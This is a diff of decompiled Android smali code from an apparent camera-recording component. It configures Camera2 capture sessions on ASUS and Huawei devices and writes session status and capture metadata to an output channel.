invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 331
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->lfd:F
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
const/4 p1, 0x0
.line 332
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
.line 333
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$600(Lcom/nvav/srv/recorder/CameraASUSn;)V
:cond_3
return-void
.end method
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 1
.line 343
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session failed configure."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 5
.line 225
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v1, "result=Session configure."
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 226
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
const/4 v1, 0x5
aget-object v0, v0, v1
invoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
const/16 v2, 0x1e
if-le v0, v2, :cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
check-cast p1, Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$402(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;)Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
goto :goto_0
.line 227
:cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$502(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
.line 228
:goto_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
const/4 v2, 0x3
invoke-virtual {v0, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
.line 229
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
.line 230
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
new-instance v2, Landroid/util/Range;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
const/4 v4, 0x4
aget-object v3, v3, v4
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
aget-object v1, v4, v1
invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v1
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-direct {v2, v3, v1}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
invoke-virtual {p1, v0, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 231
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$600(Lcom/nvav/srv/recorder/CameraASUSn;)V
.line 232
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
if-eqz p1, :cond_1
.line 233
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->rect:Landroid/graphics/Rect;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 234
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->aec:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 235
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 236
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 237
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->ss:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 238
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->sfd:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 239
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->set:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 240
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 241
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->caem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 242
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->caft:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 243
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$600(Lcom/nvav/srv/recorder/CameraASUSn;)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_1
:catch_0
move-exception p1
.line 246
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_1
:goto_1
return-void
.end method
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 338
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session ready."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 339
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession re"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,256 @@
.class Lcom/nvav/srv/recorder/CameraASUSn$4;
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
.source "CameraASUSn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUSn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field FrameNumber:J
.field lat:D
.field lon:D
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
.field time_out_param:J
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
.locals 2
.line 347
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
.line 348
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->time_out_param:J
const-wide/16 v0, 0x0
.line 349
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lat:D
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lon:D
const-wide/16 v0, 0x0
.line 350
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->FrameNumber:J
return-void
.end method
# virtual methods
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
.locals 7
.line 355
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->time_out_param:J
sub-long/2addr p1, v0
const-wide/16 v0, 0xc8
cmp-long p1, p1, v0
if-lez p1, :cond_0
.line 356
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lat:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v0
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->lon:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v1
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v2
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
.line 357
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/Long;
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
move-result-wide p1
const-wide/32 v3, 0x3b9aca00
div-long/2addr v3, p1
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v3
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
.line 358
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v4
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
.line 359
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v5
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
.line 360
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v6
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
move-result-object p1
.line 356
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
.line 361
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p1}, Ljava/lang/String;->length()I
move-result p3
add-int/lit8 p3, p3, 0x1
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
const/16 v0, 0x4d
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object p3
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
move-result-object p1
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p1
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 362
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->time_out_param:J
:cond_0
return-void
.end method
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
.locals 0
.line 367
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=Capture failed."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
.locals 0
return-void
.end method
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
.locals 0
.line 376
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=Capture aborted sequence."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
.locals 0
.line 380
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=Capture completed sequence."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
.locals 0
.line 385
iput-wide p5, p0, Lcom/nvav/srv/recorder/CameraASUSn$4;->FrameNumber:J
return-void
.end method

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,40 @@
.class public final synthetic Lcom/nvav/srv/recorder/CameraHUAWEI$$ExternalSyntheticLambda0;
.super Ljava/lang/Object;
.source "D8$$SyntheticClass"
# interfaces
.implements Ljava/util/function/Predicate;
# instance fields
.field public final synthetic f$0:Ljava/lang/String;
# direct methods
.method public synthetic constructor <init>(Ljava/lang/String;)V
.locals 0
.line 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
return-void
.end method
# virtual methods
.method public final test(Ljava/lang/Object;)Z
.locals 1
.line 0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
check-cast p1, Ljava/lang/String;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
move-result p1
return p1
.end method

View File

@@ -0,0 +1,523 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEI$1;
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
.source "CameraHUAWEI.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEI;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
.locals 0
.line 70
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
.locals 0
return-void
.end method
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
.locals 0
const/4 p1, 0x1
.line 132
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
const/4 p1, 0x0
.line 133
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Starting:Z
return-void
.end method
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
.locals 1
.line 138
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object p2
filled-new-array {p2}, [Ljava/lang/Object;
move-result-object p2
const-string v0, "result=C.E(%d)"
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p2
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
.locals 11
.line 74
const-string v0, "frame-rate"
const-string v1, "bitrate"
const-string v2, "video/avc"
:try_start_0
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 75
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCameraManager:Landroid/hardware/camera2/CameraManager;
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
